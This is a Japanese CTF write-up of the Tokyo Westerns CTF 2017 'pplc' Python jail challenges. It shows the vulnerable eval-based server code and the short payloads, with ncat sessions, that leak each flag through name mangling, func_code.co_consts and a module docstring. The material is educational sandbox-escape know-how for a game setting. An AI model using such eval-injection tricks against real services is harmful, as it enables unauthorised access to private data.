開発
Tokyo Westerns CTF 3rd 2017 pplc
Yuya Kanesawa
はじめに
CTFチームTokyoWesternsさん主催の,Tokyo Westerns CTF 3rd 2017 が09/02 AM9:00 ~ 09/04 AM9:00で開催されました.僕も友達と参加して何問か解いたのですが,pplcという問題が他のCTFでは見ないような面白い問題だったのでWriteupを書きたいと思います.
pplcはprivateとlocalとcommentの3問ありました.
private
pythonのソースコードが渡されます.
あと,このプログラムが動いているサーバがあります.
import sys
from restrict import Restrict
r = Restrict()
# r.set_timeout()
class Private:
def __init__(self):
pass
def __flag(self):
return "TWCTF{CENSORED}"
p = Private()
Private = None
d = sys.stdin.read()
assert d is not None
assert "Private" not in d, "Private found!"
d = d[:24]
r.seccomp()
print eval(d)
問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.
そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.
そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.
しかし,assertが働いているので “Private” という文字列を入力することができません.
ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.
まず,dir(p)でpオブジェクトのメソッド一覧を調べます.
すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.
eval("p."+dir(p)[0]+"()")
これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったのですが,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されません.
ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,
eval('p.%s()'%dir(p)[0])
こう書いてみたら24文字ぴったりでした.
$ ncat ppc1.chal.ctf.westerns.tokyo 10000 eval('p.%s()'%dir(p)[0]) TWCTF{__private is not private}
参考:
http://d.hatena.ne.jp/blanketsky/20080823/1219452763
local
ソースコード.
import sys
from restrict import Restrict
r = Restrict()
# r.set_timeout()
def get_flag(x):
flag = "TWCTF{CENSORED}"
return x
d = sys.stdin.read()
assert d is not None
d = d[:30]
r.seccomp()
print eval(d)
get_flagの中で定義されているローカル変数であるflagを読みだす問題.
無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.
さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立ちました.
http://ichitcltk.hustle.ne.jp/gudon2/index.php?pageType=file&id=python_func_attr.md
dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.
dir(get_flag.func_code) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] get_flag.func_code.co_argcount 1 get_flag.func_code.co_code d}|S $ get_flag.func_code.co_consts (None, 'TWCTF{CENSORED}') $ ncat ppc1.chal.ctf.westerns.tokyo 10001 get_flag.func_code.co_consts (None, 'TWCTF{func_code is useful for metaprogramming}')
comment
ソースコード.
comment.py
import sys
from restrict import Restrict
r = Restrict()
# r.set_timeout()
d = sys.stdin.read()
assert d is not None
d = d[:20]
import comment_flag
r.seccomp()
print eval(d)
comment_flag.py
'''
Welcome to unreadable area!
FLAG is TWCTF{CENSORED}
'''
メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.
localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けしました.
dir(comment_flag) ['__builtins__', '__doc__', '__file__', '__name__', '__package__'] comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{CENSORED} $ ncat ppc1.chal.ctf.westerns.tokyo 10002 comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{very simple docstring}
__doc__に入るみたいです.